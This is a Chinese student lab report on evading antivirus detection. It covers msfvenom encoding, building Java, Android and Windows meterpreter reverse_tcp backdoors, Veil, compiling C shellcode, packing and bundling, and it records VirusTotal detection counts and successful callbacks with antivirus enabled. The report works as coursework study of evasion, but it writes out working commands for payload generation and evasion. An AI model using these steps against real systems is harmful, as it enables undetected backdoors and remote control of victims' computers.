实验内容
正确使用msf编码器
基础知识
杀软是如何检测出恶意代码的?
一般分为:
1 基于特征码的检测
特征码即一段或多段数据,包含这样数据的可执行文件或其他库、脚本被认为是恶意代码。
2 基于启发式恶意软件检测
根据片面特征推断,通用的、多特征、非精确的扫描。
3 基于行为的恶意软件检测
启发式的一种,加入了行为监控。
对程序软件进行伪装处理让其不受到杀毒软件的检测和查杀。
1 改变特征码
如果你手里只有EXE
加壳:压缩壳、加密壳
用encode进行编码、基于payload重新编译生成可执行文件
用其他语言进行重写再编译(veil-evasion)
2 改变行为
通讯方式
尽量使用反弹式连接、使用隧道技术、加密通讯数据
基于内存操作、减少对系统的修改、加入混淆作用的正常功能代码
3 开启杀软能绝对防止电脑中恶意代码吗?
不能。每一个杀软也会有自己的漏洞而恶意代码我们目前已知的也为数不多,但计算机的研究和黑客可以施展的空间是很大的,而且在此次实验中我们能发现每一次检测的杀软数是不同的,因此可以知道不同的恶意软件也并不是所有杀软都能够发现,因此开启杀软不一定能防止所有恶意代码。
实验步骤
任务一正确使用msf编码器
用实验二中已经生成的后门程序20174325_backdoor在VirusTotal和Virscan这两个网站对生成的后门程序进行扫描。因为Virscan扫描的文件名不能包含数字,修改为aliengirlyz_backdoor。
由于一直在加载中,故我先选择了用minimal interface,扫描结果:
74个杀软中58个报出病毒,此时不加任何处理的后门程序大多数杀毒软件都可以检测到,于是采取msf编码进行修改。
少了两个杀软。
无变化。
任务二msfvenom生成如jar之类的其他文件
输入命令msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.31.200 LPORT=4325 x> aliengirlyz_backdoor_java.jar生成java后门程序
扫描结果:
相比较exe,jar格式少了较多杀软与报出。
杀软比exe少比jar多,但报出比前两者更少。
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.31.200 LPORT=4325 x> aliengirlyz_android_backdoor.apk
生成apk后门文件
杀软和报出都增多。
任务三veil
输入sudo veil进入veil主菜单
payload设置完毕。
72个杀软,47报出。
在msf控制台监听发往本机(kali)4325端口的连接,在Windows上运行后门。
发现此后门未能逃过杀毒软件的监测。对此选择信任,然后连接成功建立。
回连成功。
任务四加壳工具
任务五使用C + shellcode编程
加壳工具主要在任务五生成exe文件后使用故我把两个任务放在了一个部分
输入msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.31.200 LPORT=4325 -f c
生成一段shellcode
i686-w64-mingw32-g++ shellcode_4325.c -o shellcode_4325.exe
将c程序编译为可执行文件
任务六使用其他课堂未介绍方法
将后门文件与要捆绑的文件放在同一个文件夹下
任务七通过组合应用各种技术实现恶意代码免杀
如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。
任务八用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
输入msfconsole
实验完成。
实验心得
此次实验面临的最大的一个问题是veil的安装,首先是在我自己的电脑中是一直安装失败,于是重新用了一个win系统电脑单独完成第三步,任务一二较为顺利简单,任务四里的shellcode在从c文件变为可执行文件的时候也遇到了问题kali报错未找到命令,在这里停摆了较长时间但最后尝试了下载、安装、更新之后操作成功且实现了加压缩壳,在任务七通过组合任务实现免杀中用了上一步任务中加了壳的程序文件再进行c+shellcode加壳捆绑来检测,此次实验中还有一些小麻烦比如:virustotal和viruscan经常会打不开或者出错
所以经常会换着用。最后一个任务遇到的麻烦主要是重新打开win虚拟机之后和kali的连接上面出了一些问题于是相当于把实验二后面的步骤重新又做了一遍重新建立了一个两者之间的后门软件然后监听、连接、检测。总的来说,实验完成。